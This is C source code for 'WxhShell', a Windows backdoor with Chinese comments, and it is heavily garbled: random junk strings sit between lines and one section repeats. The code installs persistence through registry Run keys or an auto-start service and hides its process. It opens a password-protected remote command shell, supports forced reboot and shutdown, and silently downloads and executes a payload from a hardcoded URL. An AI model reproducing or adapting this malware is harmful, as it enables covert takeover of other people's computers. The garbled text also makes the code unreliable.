qKy f![] :L PROCNTQSIP NtQueryInformationProcess; dT0W8oL sLA.bp.O static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4<($ZN8 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +S{m!j%B 5}G_2<G HANDLE hProcess; Z)|~ PROCESS_BASIC_INFORMATION pbi; aLg,-@ 4C`RxQJM HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iTinZ!Ut if(NULL == hInst ) return 0; b;VIR,2 ''9]`B,:a0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G%s O{k7 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6vK`J"d{~D NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =CFjG)L R%3yxnM* if (!NtQueryInformationProcess) return 0; Z@euO~e~ 'b.jKkW7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]ePg6 if(!hProcess) return 0; wK2$hsque QT+kCN if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g}hUCx( 1#x5
o2n CloseHandle(hProcess); %O9 Wm_% ~S('\h)1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^Z)7Z%
O if(hProcess==NULL) return 0; _9=87u0 `e ZDG HMODULE hMod; ~a_hOKU5 char procName[255]; 7;p/S#P: unsigned long cbNeeded; bR7tmJ[)Z cgG*7E if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .h
<=C&Yg fcdXj_u CloseHandle(hProcess); WuE]pm]c &n| <NF if(strstr(procName,"services")) return 1; // 以服务启动 |y7TYjg6 M<Bo<,!ua return 0; // 注册表启动 n*9QSyJN] } S!A:/(^WB @2"uJ6o // 主模块 Ct `)R int StartWxhshell(LPSTR lpCmdLine) O h
e^{: { (.$$U3\ SOCKET wsl; {qHQ_ _Bl BOOL val=TRUE; YQD`4ND int port=0; $@6q5Iz!& struct sockaddr_in door; eM!Oc$C8[ R>"pJbS;L if(wscfg.ws_autoins) Install(); BW;@Gq@N #!_4ZX port=atoi(lpCmdLine); ulALGzPh \'=svJ
if(port<=0) port=wscfg.ws_port; P6%qNR/ x $|7"9W}m* WSADATA data; $E[O}+L$# if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O_ r-(wE4 I0l3"5X
a if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @8 c@H#H setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y3(~8n door.sin_family = AF_INET; rWWpP< door.sin_addr.s_addr = inet_addr("127.0.0.1"); "zw{m+7f, door.sin_port = htons(port); ]iTP5~8U ;LgMi5dN if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T^eD closesocket(wsl); ]foS.D, return 1; ,sj(g/hg } c
k[uvH
`%|3c if(listen(wsl,2) == INVALID_SOCKET) { 1?)h-aN closesocket(wsl); %ly&~&0 return 1;
bo/U5p } rui 8x4c Wxhshell(wsl); BT(eU*m- WSACleanup(); ,r3`u2) MA{ZmPm) return 0; I[A<e]uK nEUH; z } >Ch2Ep Zah<e6L // 以NT服务方式启动 -ik$<>{X VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @[FO;4w { 6-$95.Y2 DWORD status = 0; s-6$C DWORD specificError = 0xfffffff; L7lpOy4k M`7lYw\Or! serviceStatus.dwServiceType = SERVICE_WIN32; @ebY_* serviceStatus.dwCurrentState = SERVICE_START_PENDING; .HTRvE`X serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k_1;YOBF serviceStatus.dwWin32ExitCode = 0; BV<_1WT} serviceStatus.dwServiceSpecificExitCode = 0; Foj|1zJS_ serviceStatus.dwCheckPoint = 0; maSVq G serviceStatus.dwWaitHint = 0; {y{O ze b!-=L&V hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xGOmvn^lQ if (hServiceStatusHandle==0) return; v#9i| "&qAV'U status = GetLastError(); w[vccARQ if (status!=NO_ERROR) k0FAI0~( { `E;xI v| serviceStatus.dwCurrentState = SERVICE_STOPPED; EFU)0IAL[ serviceStatus.dwCheckPoint = 0; ENA"T-p serviceStatus.dwWaitHint = 0; k N* I_# serviceStatus.dwWin32ExitCode = status; ?w'03lr% serviceStatus.dwServiceSpecificExitCode = specificError; P7X3>5<;q SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z9MU%*N return; Le-t<6i-V# } 'o=DGm2H <QgpePyoN serviceStatus.dwCurrentState = SERVICE_RUNNING; sc-+?i serviceStatus.dwCheckPoint = 0; !F?j'[s8] serviceStatus.dwWaitHint = 0; r0f&n;0U4 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d8Cd4qIXX } >}Mw"
ME>Sh~C\ // 处理NT服务事件,比如:启动、停止 n[;)( VOID WINAPI NTServiceHandler(DWORD fdwControl) C!K&d,M { Y ajAz5N switch(fdwControl) )~xH!%4F { lV./K;\T case SERVICE_CONTROL_STOP:
[g@Uc serviceStatus.dwWin32ExitCode = 0; N.|zz)y serviceStatus.dwCurrentState = SERVICE_STOPPED; mDt!b6N/ serviceStatus.dwCheckPoint = 0; ]#S<]v A serviceStatus.dwWaitHint = 0; 18j>x3tn { m1K4_a)^[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z6So5r%wZ } E>|fbaN-% return; Dg Rn^gL{Q case SERVICE_CONTROL_PAUSE: L;Yn q<x serviceStatus.dwCurrentState = SERVICE_PAUSED; @}r
s6 G break; Nw,|4S case SERVICE_CONTROL_CONTINUE: <}xgp[O serviceStatus.dwCurrentState = SERVICE_RUNNING; qs8^qn0A break; ^\S~rW.3_ case SERVICE_CONTROL_INTERROGATE: ~4#D
G^5 break; <Pf4[q&wM }; L*rCUv ` SetServiceStatus(hServiceStatusHandle, &serviceStatus); D\-DsT.H } .f[z_%ar Gf!c // 标准应用程序主函数 I~HA
ad,k int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yp3 y%n { #l* w=D? M)JozD% // 获取操作系统版本 Ag{)?5/d_ OsIsNt=GetOsVer(); 0XC3O 8q GetModuleFileName(NULL,ExeFile,MAX_PATH); C%%gCPI^y sA+K?_ // 从命令行安装 +~1FKLu if(strpbrk(lpCmdLine,"iI")) Install(); A58P$#)? IW}Wt{'m // 下载执行文件 9[&q
C if(wscfg.ws_downexe) { 6\UIp#X if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t8lGC R WinExec(wscfg.ws_filenam,SW_HIDE); ,l,q;]C% } I4<_y5 oBnes* if(!OsIsNt) { YJDJj
x // 如果时win9x,隐藏进程并且设置为注册表启动 AnE]
kq u HideProc(); @d0~'_vtB StartWxhshell(lpCmdLine); oOLj?
0t } W8-vF++R else t3v_o4`& if(StartFromService()) s`yg?CR`, // 以服务方式启动 N]ebKe StartServiceCtrlDispatcher(DispatchTable); WXf[W else y\9#"=+ // 普通方式启动 E
KJ2P$ StartWxhshell(lpCmdLine); hoiC
J}us {XC[Ia6jtL return 0; @bAuR } E8lq2r= F[B=sI p9MJa[}V +T,0,^* =========================================== LOwd mj L|'B* 05jjLM'e zG%'Cw)8 ssH[\i #7YJ87<E " gTLBR o>]z~^c #include <stdio.h> m*lcIa #include <string.h> yI-EF)A@; #include <windows.h> oykb8~u}} #include <winsock2.h> F0kAQgUv #include <winsvc.h> W]>%*n #include <urlmon.h> w xaMdA {=,I>w]T|W #pragma comment (lib, "Ws2_32.lib") u3Zu ~C #pragma comment (lib, "urlmon.lib") ]{t!J^Xn Z(LTHAbBk| #define MAX_USER 100 // 最大客户端连接数 q(2ZJn13f #define BUF_SOCK 200 // sock buffer niyxZ<Z #define KEY_BUFF 255 // 输入 buffer Q^xk]~G$( HHs!6`R$0c #define REBOOT 0 // 重启 v@J[qpX #define SHUTDOWN 1 // 关机 ?jvuTS 2 #\K"FE0PGz #define DEF_PORT 5000 // 监听端口
<LJb,l" mwZ)PySm) #define REG_LEN 16 // 注册表键长度 E>r7A5Uo #define SVC_LEN 80 // NT服务名长度 *l%&/\ &xt
GabNk // 从dll定义API )4,U typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s+=':Gcb(C typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p3T:Y_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rJRg4Rog typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ##alzC v}IhO~`uEq // wxhshell配置信息 Otf{)f struct WSCFG { & Yx12B\ int ws_port; // 监听端口 }iUpBn char ws_passstr[REG_LEN]; // 口令 =)w#?DGpj int ws_autoins; // 安装标记, 1=yes 0=no B;piO-hH char ws_regname[REG_LEN]; // 注册表键名 =NNxe"Kd;U char ws_svcname[REG_LEN]; // 服务名 3kwkU char ws_svcdisp[SVC_LEN]; // 服务显示名 W|s";EAM char ws_svcdesc[SVC_LEN]; // 服务描述信息 bUYjmb2g) char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ekmWYQ
~ int ws_downexe; // 下载执行标记, 1=yes 0=no uK ,W char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :V_UJ3xf char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F'B0\v= J`{o`> }; n@q-f-2 }O| 9Qb // default Wxhshell configuration S a}P
|qI struct WSCFG wscfg={DEF_PORT, cz|?j "xuhuanlingzhe", @*|T(068& 1, v?%vB#A^ "Wxhshell", *O_^C "Wxhshell", 3Y&4yIx "WxhShell Service", =([4pG "Wrsky Windows CmdShell Service", dt"& "Please Input Your Password: ", _8\B~;0 1, +!$`0v "http://www.wrsky.com/wxhshell.exe", H(y Gh "Wxhshell.exe" Tb8r+~HK };
deTD|R dT (i*E\j // 消息定义模块 ^r mQMjF
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L1y71+iqU char *msg_ws_prompt="\n\r? for help\n\r#>"; E\p"% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =+q\Jh char *msg_ws_ext="\n\rExit."; n.C5w8f char *msg_ws_end="\n\rQuit."; H/={RuU char *msg_ws_boot="\n\rReboot..."; sNP
; char *msg_ws_poff="\n\rShutdown..."; ( 5uSqw&U char *msg_ws_down="\n\rSave to "; (Fq:G) $ 8Kk41 = char *msg_ws_err="\n\rErr!"; %}XyzGq{ char *msg_ws_ok="\n\rOK!"; M* {5> !\ Z/|=@gpw char ExeFile[MAX_PATH]; :3b02}b7 int nUser = 0; W,_2JqQp HANDLE handles[MAX_USER]; <td]k%*+ int OsIsNt; {esb"beGLa xH}bX- m SERVICE_STATUS serviceStatus; 25@@-2h @ SERVICE_STATUS_HANDLE hServiceStatusHandle; -~X[j2 }Gy M<!: // 函数声明 XP?)xDr8 int Install(void); vJV/3-yX int Uninstall(void); &
d$X: int DownloadFile(char *sURL, SOCKET wsh); gFTlP int Boot(int flag); }d;6.~Gw void HideProc(void); <iGW~COd int GetOsVer(void); jp^Sw| int Wxhshell(SOCKET wsl); l"jYY3N|h void TalkWithClient(void *cs); O}p<"3Ub int CmdShell(SOCKET sock); (Nv-wU int StartFromService(void); )?c,& int StartWxhshell(LPSTR lpCmdLine);
X>P|-n# ^5(d^N VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {t!7r_hj VOID WINAPI NTServiceHandler( DWORD fdwControl ); %/5Wj_|p _mwt{D2r} // 数据结构和表定义 Vo6g /h?` SERVICE_TABLE_ENTRY DispatchTable[] = n\f]?B( { 9\/oL{ {wscfg.ws_svcname, NTServiceMain},
r9L--#=z {NULL, NULL} "Wr[DqFd }; vUOl@UQ5 4z9lk^#"X // 自我安装 M]/DKo int Install(void) ^H{YLO { =Vazxt@[ char svExeFile[MAX_PATH]; '
2O@ HKEY key; {8`$~c strcpy(svExeFile,ExeFile);
UT9u? aql8Or1[ // 如果是win9x系统,修改注册表设为自启动 a(ITv roM/ if(!OsIsNt) { sf# px|~9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RVLVY:h|F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A^A)arJS RegCloseKey(key); N;6o=^ic if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g|7o1{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CyW|k
Dz RegCloseKey(key); cDE5/! return 0; P=\{ } P".IW.^kk~ } 4v3gpLH } ;ko6igx)+ else { tMp!MQ
{*[(j^OE // 如果是NT以上系统,安装为系统服务 { I\og SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ws^Ne30 R if (schSCManager!=0) ' VKD$q { CH
29kQ SC_HANDLE schService = CreateService ~(kqq#=s ( z ynu0X schSCManager, .R'M'a#*!A wscfg.ws_svcname, hqmE]hwc wscfg.ws_svcdisp, ;FRUB@: SERVICE_ALL_ACCESS, _vDmiIn6K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1EEcNtpub] SERVICE_AUTO_START, NRx I?v SERVICE_ERROR_NORMAL, -)VjjKz]8 svExeFile, Lhe& NULL, y_=y% NULL, #kq!{5, NULL, x\8|A NULL, 3}F>t{FDk NULL Q}KOb4D ); Jou*e% if (schService!=0) tqCkqmyC { ' BS.:^ CloseServiceHandle(schService); (;%T]?<9# CloseServiceHandle(schSCManager); 4gsQ:3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J{Kw@_ypP strcat(svExeFile,wscfg.ws_svcname); b \ln XN if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?4Rd4sIM$u RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V|$PO
Qa3 RegCloseKey(key); p?,<{mAe return 0; "wTCO1 } o5NmNOXm } :Ev
gUA\4 CloseServiceHandle(schSCManager); hpb|| V } z+{qQ! } ,f$P[c k:R\;l5 return 1; ] \_tO } ce}A!v }6/M5zF3 // 自我卸载 H>+])~# int Uninstall(void) x5BS|3W$a { X3kFJ{ HKEY key; F}ATY! )`f-qTe if(!OsIsNt) { ~ILv*v@m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $5)#L$!,] RegDeleteValue(key,wscfg.ws_regname); NimgU Fa RegCloseKey(key); (EY@{'.& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3?]81v/ RegDeleteValue(key,wscfg.ws_regname); 0#!}s&j/ RegCloseKey(key);
Y6VJr+Ap( return 0; A#T"4'#?< } PENB5+1OK } !V3+(o1 } >RkaFcq else { 8X"4RyNSn -oyA5Yx0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rSJ!vQo
Cb if (schSCManager!=0) t:fz%IOe { fJc( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u@ #%SX if (schService!=0) f(D'qV T{ { uH%b rbrU if(DeleteService(schService)!=0) { PR:B6 F8 CloseServiceHandle(schService);
h]ae^M CloseServiceHandle(schSCManager); L,y
q=%h| return 0; 8xgBNQdPT } jc
Mn CloseServiceHandle(schService); o?>0WSLlm } XNJZ~Mowb CloseServiceHandle(schSCManager); #xGP|:m } j;]I
-M[ } vHcl7=)Q 6dr'nP return 1; \EVT*v=}/ } Y$v #>w_M jeRE(3'Q // 从指定url下载文件 Y^!qeY int DownloadFile(char *sURL, SOCKET wsh) SefhOh^,V { Kgr<OL}V J HRESULT hr; y1%OH#:duD char seps[]= "/"; Q:megU'u char *token; }
u;{38~ char *file; oOpEpQ}}q char myURL[MAX_PATH]; lt6wmCe char myFILE[MAX_PATH]; Yp;Z+!!UZ Y:TfD{Xgc strcpy(myURL,sURL); ;7:} iKU token=strtok(myURL,seps); RxYENG]/6 while(token!=NULL) cLf90|YFp { N'ER!=l) file=token; l+"p$iZs token=strtok(NULL,seps); O|8@cO } @u9L+*F
?5nEmG|kO GetCurrentDirectory(MAX_PATH,myFILE); [S,$E6&j$" strcat(myFILE, "\\"); HZRFE[ 9nb strcat(myFILE, file); L?N&kzA send(wsh,myFILE,strlen(myFILE),0); aj;x:UqpJ send(wsh,"...",3,0); oLKliA=q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M^:JhX{ if(hr==S_OK) B.5+!z&7 return 0; e3SnC:OWf else Az:~|P return 1;
%lnkD5 zU&Iy_Ke. } qSr]d`7@ giNXXjl // 系统电源模块 J\*uW|=F int Boot(int flag) h#r~2\q4ei { FJtmRPP[r HANDLE hToken; G|Et'k.F4 TOKEN_PRIVILEGES tkp; OXrm!' /ZV2f3;t if(OsIsNt) { IN bV6jZL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i&>^"_4rc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <jV,VKL# tkp.PrivilegeCount = 1; }qECpKa0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zBy} > Jx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .yy*[56X if(flag==REBOOT) { HC$%"peN1b if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wf3BmkZzz return 0; GbQi3% } ny13+Q`^ else { X|{T ljn if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
aO<7a
6 return 0; Li5&^RAo|J } ?m *e$!M0 } YgcW1}
else { eWAD;x?. if(flag==REBOOT) { `qs,V if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^>l <)$s return 0; -8qCCV&1i } 1}\p:` else { <Tgy$Hm if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ulsU~WW7r return 0; 8<Iq)A]'Z } % vUU
Fub } I9qZE=i 3!p`5hJd return 1; s;TB(M~i[ } (%L/|F_ 8C3oi&av/{ // win9x进程隐藏模块 !}h)
| void HideProc(void) >S:(BJMo { \bd KLcKI, *`+zf7-f HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EX_j|/&tZ if ( hKernel != NULL ) cQt&%SVT]E { ~NK $rHwi% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rlKR
<4H ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !j'LZ7 FreeLibrary(hKernel); 5T#v& } 9DA|;| P'8RaO&d return; A^z{n/DiL } es6YxMg e}?Q&Lci // 获取操作系统版本 bfA>kn0C int GetOsVer(void) Qg/FFn^Kg* { l0,VN,$Yl OSVERSIONINFO winfo; y5eEEG6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nIg 88*6b, GetVersionEx(&winfo); KuJ9bn{u!C if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UPGUJ>2Z return 1; }BC%(ZH6 else *w@1@6?j return 0; ;B 8Q,.t>x } rn)Gx25 VrRF2(Kn? // 客户端句柄模块 zF`a:dD$d int Wxhshell(SOCKET wsl) n{TWdC { o~XK*f=( SOCKET wsh; JY CMW!~ struct sockaddr_in client; ];w}?LFb DWORD myID; 2om:S+3)2 4ekwmw(ox while(nUser<MAX_USER) Cl&mz1Y;]1 { 4E.9CjN1> int nSize=sizeof(client); ppz3"5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %l!A%fn( if(wsh==INVALID_SOCKET) return 1; 'EIe5Op ra'/~^9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /HRKw
D if(handles[nUser]==0) >ZkL`!:s closesocket(wsh); Ni>Ns=n else 60%nQhb nUser++; n8Qv8 } op`9(=DJ] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %}TJr]'F "B:FSWM_- return 0; E&cC2(w } #@DJf "yQBHYP // 关闭 socket [mv? \HDa~ void CloseIt(SOCKET wsh) 9
3)fC { ^Saf
z8-3o closesocket(wsh); 2*75*EQCH nUser--; *>W<n1r@] ExitThread(0); 7T[$BrO\ } nPvys~D mBwz.KEm< // 客户端请求句柄 8D)1ZUx7` void TalkWithClient(void *cs) %/I:r7UR{ { By@65KmR" 3=n6NTL SOCKET wsh=(SOCKET)cs; V$hL\`e char pwd[SVC_LEN]; Zy7kPL;b char cmd[KEY_BUFF]; Ac U@H0 char chr[1]; AwG0E`SU int i,j; )dfhy t[2b~peNI while (nUser < MAX_USER) { |*t 2IVwX f@;pN=PS if(wscfg.ws_passstr) { g "Du]_, if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RI8*'~ix] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VLm\P S
//ZeroMemory(pwd,KEY_BUFF); yJ!26 i=0; &UH0Tw4 while(i<SVC_LEN) { /(8"]f/ 4eB'mPor // 设置超时 2?7ID~\ fd_set FdRead; K@=u F1? struct timeval TimeOut; pv0|6X?J" FD_ZERO(&FdRead); }+m4(lpl FD_SET(wsh,&FdRead); Ydrh+ TimeOut.tv_sec=8; =aB+|E TimeOut.tv_usec=0; >/\TG8t,f int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Crc6wmp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NTq_"`JjZ s~Ivq+ipr; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k-jFT3b$ pwd=chr[0]; cz IEkm if(chr[0]==0xd || chr[0]==0xa) { <6-73LsHcP pwd=0; Z]uc *Ed break; {,5.svO } `5- ;'nX i++; <VD7(j]'^ } CP\[9#]: YZfi-35@g // 如果是非法用户,关闭 socket c&bhb[ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <b"^\]l } jo&j<3i &v0]{)PO send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <xeB9 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )T9Cv8 ~/A2:}Cp= while(1) { NpGi3>5 8B-PsS|' ZeroMemory(cmd,KEY_BUFF); VfzyBjQ qnyacI // 自动支持客户端 telnet标准 .X3n9] j=0; vmNo~clt\ while(j<KEY_BUFF) { %Y0lMNP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Ku&Q<mi cmd[j]=chr[0]; 1v:Ql\^cT if(chr[0]==0xa || chr[0]==0xd) { 4I&(>9 @z< cmd[j]=0; YSxr(\~j break; 8 !:2: } c[2ikI,n[ j++; G HQ~{ } QaLaw-lx >x%HqP#_V // 下载文件 _YlyS )#@ if(strstr(cmd,"http://")) { {i=V:$_# send(wsh,msg_ws_down,strlen(msg_ws_down),0); \y271}' if(DownloadFile(cmd,wsh)) Jq)k5X>&Sj send(wsh,msg_ws_err,strlen(msg_ws_err),0); *J^FV^E`` else #xx.yn(7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T\.~!Q } KW'nW else { u= dj3q &b |